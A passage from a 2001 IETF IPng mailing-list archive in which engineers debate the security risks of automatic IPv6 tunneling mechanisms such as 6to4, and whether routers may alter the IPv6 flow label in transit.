link-local source (here: ff80::1) > > > - link-local destination (here: ff80::2) > > > - hop limit 255 > > > > > > in the tunnel interface. > > > > Not if the tunnel interface consistency check is applied to prevent it. > > If you don't want to accpet link-local packets over the tunnel you are > > not required to. Accepting packets through a filter needs to be done for > > each of the interfaces. If you are willing to accept packets from any > > IPv4 source, but not any IPv6 source, then you have to recheck the > > packet once it is decapsulated. > > Autotunneling has no such checks, and 6to4 just mentions this (in the > context of source addresses). Destination address? By RFC3056, relays > cannot have either or these checks. > > Also see above. > > > > Now, if the router has 'ff80::2' configured as one of it's > > > pseudo-interface addresses, that address can be reached via tunneling > > with > > > hop limit 255 from anywhere. > > > > > > See the potential problem here? > > > > Yes, the node is reachable using IPv4 from anywhere, and you are trying > > to make believe that adding IPv6 is somehow a bigger problem. What is > > the point? > > IPv6 has local-scoped addresses that have a special significance. > > Via mechanisms like 6to4 (depending on whether optional security > precautions are taken) one can inject IPv4 packets in the internal network > that would not have passed the IPv4 checks. > > > If packets can get there via IPv4, the fact that some of them > > may be encapsulated IPv6 makes no difference. If a node has a policy > > that packets over the global IPv4 interface go through some firewall > > process, then the same policy MUST apply to the tunnel interface. If it > > doesn't the site administrator is brain-dead and deserves what he gets. > > The site administrator is braindead because he allows people to use any > (it's all or nothing) IPv6 tunneling mechanism? Note that IPv4 site > administrator cannot know whether it's being used for configured, > automatic or whatever tunnels. Do we want to make these braindead site > operators block protocol 41? > > The point is, the checking is de-centralized from IPv4 firewalls to tunnel > endpoints. If every host used 6to4 (the 6to4 host+router scenario), every > 6to4 host would have to implement these checks, firewall policies etc. > This is when site operators say: "no thanks! No ipv6 here please!". Is > that what we want? > > > If your complaint is that a site administrator can't apply grainular > > policy to a link-local address over a tunnel, you are right and they > > simply need to block all FE80 addresses on that interface. > > Insecure by default? Hopefully not for the joe-random-user -orieted > methods like 6to4 or shipworm at least. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment at the IBM Zurich Laboratory, Switzerland Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 03:24:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKBOLZR023591 for ; Thu, 20 Dec 2001 03:24:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKBOLcj023590 for ipng-dist; Thu, 20 Dec 2001 03:24:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKBOIZR023583 for ; Thu, 20 Dec 2001 03:24:18 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA23345 for ; Thu, 20 Dec 2001 03:24:18 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA27878 for ; Thu, 20 Dec 2001 04:23:46 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBKBPDr02934; Thu, 20 Dec 2001 18:25:15 +0700 (ICT) From: Robert Elz To: Brian E Carpenter cc: jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <3C21BB0A.F90B8DD7@hursley.ibm.com> References: <3C21BB0A.F90B8DD7@hursley.ibm.com> <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Dec 2001 18:25:13 +0700 Message-ID: <2932.1008847513@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 20 Dec 2001 11:18:50 +0100 From: Brian E Carpenter Message-ID: <3C21BB0A.F90B8DD7@hursley.ibm.com> | The only way to restore the original | value is if you carry it with the packet (nothing else is safe). I'm not sure that is true. To take a (very stupid I admit) counter example. A service provider might simply refuse to carry any traffic with an odd flow id (they can throw away traffic for any reason they like after all...). So, they know that the only packets that survive entry filtering have an even flow id. Then they could use the lsb of the flow id as some kind of signalling device inside the network. Upon exit, the lsb of the flow id can be unilaterally cleared. More likely, an ISP might arrange to use (internally) a certain flow ID to get a specified service class. When a new flow for a particular destination arrives, that requests that service class, they could send notification to the destination of the original flow id, and the one that will be used instead. Then for the rest of the flow, packets get modified to use the internal flow id, with the exit router using the pre-determined original flow ID to replace the one that was used internally. This needs frills to be able to deal with multiple flows with the same service class to the same destination but that's manageable (perhaps not nice, but manageable). So I'm not sure it is quite true to say that it would never make sense for an ISP to do this (including putting the label back on exit) - but as long as the label received is the same as the label transmitted, there's no way to tell what is going on inside there, nor is there any reason for anyone to care. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 03:45:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKBjQZR023726 for ; Thu, 20 Dec 2001 03:45:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKBjQFC023725 for ipng-dist; Thu, 20 Dec 2001 03:45:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKBjNZR023718; Thu, 20 Dec 2001 03:45:23 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA20648; Thu, 20 Dec 2001 03:45:24 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA08664; Thu, 20 Dec 2001 04:45:04 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBKBj7J08542; Thu, 20 Dec 2001 13:45:07 +0200 Date: Thu, 20 Dec 2001 13:45:07 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: Tony Hain , Vladislav Yasevich , , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C21C4D0.5D81792A@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 20 Dec 2001, Brian E Carpenter wrote: > Incoming 6to4 traffic to a 6to4 site is recognized by the > fact that the destination IPv6 address is a 2002: address. > (The source may be anything if the traffic is from a relay.) Note: for relays, this is not enough identification. And this is a problem when boxes implement e.g. both 6to4 and autotunneling. Rules would be so much simpler if one could have an easy "relay" on/off toggle. I'm not sure if anyone has implemented 6to4 this way? I've seen two and both seem to apply the principle of "least security" that is, open to all because relays require it. Also note that decapsulation rules in RFC3056 5.3 do not require that the destination address is 2002. (Of course, the packet must be sent "manually" if it isn't, but encapsulation is not the point). So, it would be "legal" to send a packet like: src=1.1.1.1 dst=2.2.2.2 src6=2002:0101:0101:: dst6= > As we've always said, 6to4 relays need to know who their > cients are. This is the RFC 3056 model. > > I suspect that in the end, we will build lists of "trusted" > 6to4 relays. It might be like my personal firewall, which > asks me whether to admit packets when it first sees a new > port being probed: > > Incoming IPv6 traffic from router.hacker.net; OK? That is an improvement, but it has to contain *all* relays in the world. I don't think that kind of solution is ever going to scale. Alternatively, if we could advertise more specifics than 2002::/16 we could control which relay is to be trusted and used. But this has its own problems.. Alternatively, we could trust the anycast address 192.88.99.1. Whoever can spoof that, could do anything. Currently, our relay is using only the anycast address, but not for security reasons. > Pekka Savola wrote: > > > > First, let me point out a property of overloading protocol 41, from my > > draft: > > > > --8<-- > > There is a problem with multiple transition mechanisms if security is > > implemented. This may vary a bit from implementation to > > implementation. > > > > Consider three mechanisms using automatic tunneling: 6to4, ISATAP > > [ISATAP] and Automatic Tunneling using Compatible Addresses [MECH]. > > > > All of these use IP-IP (protocol 41) [IPIP] IPv4 encapsulation with, > > more or less, a pseudo-interface. > > > > When a router, which has any two of these enabled, receives an IPv4 > > encapsulated IPv6 packet: > > > > src_v4 = 10.0.0.1 > > dst_v4 = 20.20.20.20 > > src = 3ffe:ffff::1 > > dst = 2002:1010:1010::2 > > > > what can it do? How should it decide which transitionary mechanism > > this belongs to; there is no "transitionary mechanism number" in IPv6 > > or IPv4 header to signify this. > > > > Without any kind of security checks (in any of implemented methods) > > these often just "work" as the mechanisms aren't differentiated but > > handled in "one big lump". > > > > Configured tunneling [MECH] does not suffer from this as it is point- > > to-point, and based on src/dst pairs of both IPv4 and IPv6 addresses > > it can be deduced which logical tunnel interface is in the question. > > > > Solutions for this include not using more than one automatic > > tunneling mechanisms in the same system or binding different > > mechanisms to different IPv4 addresses. > > --8<-- > > > > In this case, consider a node which has configured tunnels, autotunnel and > > 6to4. > > > > If it receives a packet with: > > > > src=1.1.1.1 > > dst=2.2.2.2 > > src6=fe80::1 > > dst6=fe80::2 > > > > it cannot know which mechanism this was intended for. > > > > If configured tunnel was between 1.1.1.1 and 2.2.2.2, it could try to > > guess this must be meant for the configured tunnel. (I haven't looked into > > 6to4 multicast yet, but this kind of link-local assumption might not > > hold). > > > > however, if the packet is e.g.: > > > > src6=::1.1.1.1 > > dst6=fe80::2 > > > > is it for configured, autotunnel 6to4 (if the box is a 6to4 relay) or > > what? > > > > There are more unclear scenarios like this. > > > > This makes security checks rather difficult to implement. > > > > On Wed, 19 Dec 2001, Tony Hain wrote: > > > Pekka Savola wrote: > > > > Undeniably, you can input packets with: > > > > > > > > - link-local source (here: ff80::1) > > > > - link-local destination (here: ff80::2) > > > > - hop limit 255 > > > > > > > > in the tunnel interface. > > > > > > Not if the tunnel interface consistency check is applied to prevent it. > > > If you don't want to accpet link-local packets over the tunnel you are > > > not required to. Accepting packets through a filter needs to be done for > > > each of the interfaces. If you are willing to accept packets from any > > > IPv4 source, but not any IPv6 source, then you have to recheck the > > > packet once it is decapsulated. > > > > Autotunneling has no such checks, and 6to4 just mentions this (in the > > context of source addresses). Destination address? By RFC3056, relays > > cannot have either or these checks. > > > > Also see above. > > > > > > Now, if the router has 'ff80::2' configured as one of it's > > > > pseudo-interface addresses, that address can be reached via tunneling > > > with > > > > hop limit 255 from anywhere. > > > > > > > > See the potential problem here? > > > > > > Yes, the node is reachable using IPv4 from anywhere, and you are trying > > > to make believe that adding IPv6 is somehow a bigger problem. What is > > > the point? > > > > IPv6 has local-scoped addresses that have a special significance. > > > > Via mechanisms like 6to4 (depending on whether optional security > > precautions are taken) one can inject IPv4 packets in the internal network > > that would not have passed the IPv4 checks. > > > > > If packets can get there via IPv4, the fact that some of them > > > may be encapsulated IPv6 makes no difference. If a node has a policy > > > that packets over the global IPv4 interface go through some firewall > > > process, then the same policy MUST apply to the tunnel interface. If it > > > doesn't the site administrator is brain-dead and deserves what he gets. > > > > The site administrator is braindead because he allows people to use any > > (it's all or nothing) IPv6 tunneling mechanism? Note that IPv4 site > > administrator cannot know whether it's being used for configured, > > automatic or whatever tunnels. Do we want to make these braindead site > > operators block protocol 41? > > > > The point is, the checking is de-centralized from IPv4 firewalls to tunnel > > endpoints. If every host used 6to4 (the 6to4 host+router scenario), every > > 6to4 host would have to implement these checks, firewall policies etc. > > This is when site operators say: "no thanks! No ipv6 here please!". Is > > that what we want? > > > > > If your complaint is that a site administrator can't apply grainular > > > policy to a link-local address over a tunnel, you are right and they > > > simply need to block all FE80 addresses on that interface. > > > > Insecure by default? Hopefully not for the joe-random-user -orieted > > methods like 6to4 or shipworm at least. > > > > -- > > Pekka Savola "Tell me of difficulties surmounted, > > Netcore Oy not those you stumble over and fall" > > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 04:13:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCDgZR023785 for ; Thu, 20 Dec 2001 04:13:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKCDfGZ023784 for ipng-dist; Thu, 20 Dec 2001 04:13:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCDcZR023777 for ; Thu, 20 Dec 2001 04:13:38 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA06130 for ; Thu, 20 Dec 2001 04:13:40 -0800 (PST) From: jarno.rajahalme@nokia.com Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA23510 for ; Thu, 20 Dec 2001 04:13:39 -0800 (PST) Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33]) by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fBKCDXC09260 for ; Thu, 20 Dec 2001 14:13:33 +0200 (EET) Received: from esebh24nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Thu, 20 Dec 2001 14:13:31 +0200 Received: by esebh24nok with Internet Mail Service (5.5.2652.78) id ; Thu, 20 Dec 2001 14:13:30 +0200 Message-ID: <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> To: Francis.Dupont@enst-bretagne.fr Cc: kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 14:13:26 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis, You wrote: > In your previous mail you wrote: > > The current draft states that a non-zero label could be > changed by an > intermediate node to a non-zero value. However, during the > discussion on the > topic in SLC it was concluded (IMO) that this is > undesirable, and it would > be more useful (and sound) to keep the value always > immutable (end-to-end). > > => I disagree: if the end node is too dumb to set itself the label > (i.e. just uses in any case the zero value) and the first router > for instance sets the label when needed then the zero value should > not be immutable. I don't use dumb hosts (:-) but it seems > this kind of > things already commonly happens for RSVP in the real world so > we should > keep the door open... So I fully share Robert Elz's opinion. It was your input on this list that prompted us to put that option in the draft. However, in the meeting we discussed the topic, and my perception was that the room did not want to have this (the possibility for a router to change the value from zero to non-zero). I know that you disagree with this. What Robert explained in his previous message was that IF the end-to-end value can be changed (as written in the draft), then AH couldn't be changed to protect the value AND deal with the change. However, if the change from zero value to non-zero value is banned, then the end-to-end value would always be immutable, and AH could be changed to protect the end-to-end value. But, as I pointed out in the message you partially quoted, this would be a problem, if the AH implementations at the source and the destination would not agree on what fields to protect. Anyway, my point was that since AH has quite limited use in the real world, it might not be worth the trouble, even if possible. I never suggested the routers in the middle to mess with AH. The analogy to the situation with RSVP is not 100% applicable. We could make all the IPv6 sources to mark the packets with flow labels, even if they had no interest in participating in any kind of resource reservations. If we could raise the bar for the "dumb hosts" to do this, the other end of the connection could still utilize flow label based classifiers. The "dumb host" and "smart router" scenario has other problems as well. For example: - what if your default router goes down, and you start using another? How would you make sure that the flow label would be marked the same way by the new router? - Or assume that the host distributes different flows to different default routers. How will you guarantee that the routers will not pick the same flow label values (which would be a problem if the flows go to the same destination)? - Or what if the host is "dumb" only with some flows, but will assign flow label values for some other flows. How will you synchronize the flow label setup in the host and the router? > > AH: It could be possible to change AH, but it might not be > worth it. > > => Robert Elz has just explained why we must not change AH... That was based on the assumption that the zero flow label can be changed by a router to a non-zero value. See above. > And it seems you don't understand that AH can't really help to protect > something in transit, i.e. intermediate routers have not the key and > can't verify the AH MAC. Well, there must be many things I don't understand, but about this I have no confusion. I didn't think it necessary to point out that IPsec AH integrity check will be performed by the IP interface identified by the destination address only. Jarno -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 04:30:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCURZR023921 for ; Thu, 20 Dec 2001 04:30:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKCUQ2F023920 for ipng-dist; Thu, 20 Dec 2001 04:30:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCUNZR023913 for ; Thu, 20 Dec 2001 04:30:24 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA00238 for ; Thu, 20 Dec 2001 04:30:25 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA27598 for ; Thu, 20 Dec 2001 05:30:24 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA12282; Thu, 20 Dec 2001 13:30:22 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA62606 from ; Thu, 20 Dec 2001 13:30:19 +0100 Message-Id: <3C21D9DC.82D00BB8@hursley.ibm.com> Date: Thu, 20 Dec 2001 13:30:20 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Robert Elz Cc: jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <3C21BB0A.F90B8DD7@hursley.ibm.com> <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> <2932.1008847513@brandenburg.cs.mu.OZ.AU> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz wrote: ... > So I'm not sure it is quite true to say that it would never make sense > for an ISP to do this (including putting the label back on exit) - but > as long as the label received is the same as the label transmitted, > there's no way to tell what is going on inside there, nor is there > any reason for anyone to care. I won't argue the point (I think I can prove my assertion that a shim is the only safe solution, but the margin of this email is too small:). In practice we agree: the document should say that the flow label delivered to the destination must be identical to that set at the source. It's redundant to say any more. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 04:35:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCZOZR023944 for ; Thu, 20 Dec 2001 04:35:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKCZOKR023943 for ipng-dist; Thu, 20 Dec 2001 04:35:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCZLZR023936 for ; Thu, 20 Dec 2001 04:35:21 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25669 for ; Thu, 20 Dec 2001 04:35:23 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA28595 for ; Thu, 20 Dec 2001 05:35:21 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA09188; Thu, 20 Dec 2001 13:35:20 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA23854 from ; Thu, 20 Dec 2001 13:35:17 +0100 Message-Id: <3C21DB06.FC63F04F@hursley.ibm.com> Date: Thu, 20 Dec 2001 13:35:18 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: jarno.rajahalme@nokia.com Cc: Francis.Dupont@enst-bretagne.fr, kre@munnari.OZ.AU, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk jarno.rajahalme@nokia.com wrote: ... > Francis, > > => I disagree: if the end node is too dumb to set itself the label > > (i.e. just uses in any case the zero value) and the first router > > for instance sets the label when needed then the zero value should > > not be immutable. I don't use dumb hosts (:-) but it seems > > this kind of > > things already commonly happens for RSVP in the real world so > > we should > > keep the door open... So I fully share Robert Elz's opinion. > > It was your input on this list that prompted us to put that option in the > draft. However, in the meeting we discussed the topic, and my perception was > that the room did not want to have this (the possibility for a router to > change the value from zero to non-zero). I know that you disagree with this. > Seems that we need to ask for WG opinions on this. I prefer not to endorse this kind of kludge, but as long as we don't change AH, it has little practical importance what we write in the document. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 04:42:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCgLZR023966 for ; Thu, 20 Dec 2001 04:42:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKCgL08023965 for ipng-dist; Thu, 20 Dec 2001 04:42:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKCgIZR023958 for ; Thu, 20 Dec 2001 04:42:18 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA09983 for ; Thu, 20 Dec 2001 04:42:19 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA01217 for ; Thu, 20 Dec 2001 04:42:09 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBKCi3r03174; Thu, 20 Dec 2001 19:44:03 +0700 (ICT) From: Robert Elz To: jarno.rajahalme@nokia.com cc: Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> References: <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 20 Dec 2001 19:44:03 +0700 Message-ID: <3172.1008852243@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Thu, 20 Dec 2001 14:13:26 +0200 From: jarno.rajahalme@nokia.com Message-ID: <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> | However, if the change from zero value to non-zero value is banned, then the | end-to-end value would always be immutable, Really? When I read the draft I saw three modifications permitted. The (pretty silly) modify and unmodify case, which is immutable, so that's OK. The "start at zero" case - which apparently now might be deleted (I wasn't in SLC to hear the discussion, but I have no opinion on this either way). And the "by prior arrangement" case. Even if the zero case is deleted, isn't there still the other one? I am just trying to understand what this draft may become in its next revision. | - what if your default router goes down, and you start using another? How | would you make sure that the flow label would be marked the same way by the | new router? In that type of scenario, one typically has only one router. Or if one has 2, they're both configured the same way. Which isn't to say that doing this is a good idea - but it also isn't impossible. | - Or assume that the host distributes different flows to different default | routers. How will you guarantee that the routers will not pick the same flow | label values (which would be a problem if the flows go to the same | destination)? | | - Or what if the host is "dumb" only with some flows, but will assign flow | label values for some other flows. How will you synchronize the flow label | setup in the host and the router? Any of these can be handled by administrative control if necessary (the first few bits in the flow label identify the source - 0 -> original host, 1, 2, .. N identify a router). Smart routers are possible, not necessarily smart though. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 07:14:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFEaZR024376 for ; Thu, 20 Dec 2001 07:14:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKFEaAq024375 for ipng-dist; Thu, 20 Dec 2001 07:14:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKFEWZR024368 for ; Thu, 20 Dec 2001 07:14:32 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA29916 for ; Thu, 20 Dec 2001 07:14:30 -0800 (PST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA01272 for ; Thu, 20 Dec 2001 08:14:29 -0700 (MST) Received: from esealnt406.al.sw.ericsson.se 